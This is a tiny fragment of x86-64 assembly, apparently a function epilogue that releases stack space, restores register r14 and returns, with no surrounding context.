add rsp, 0x20
pop r14
ret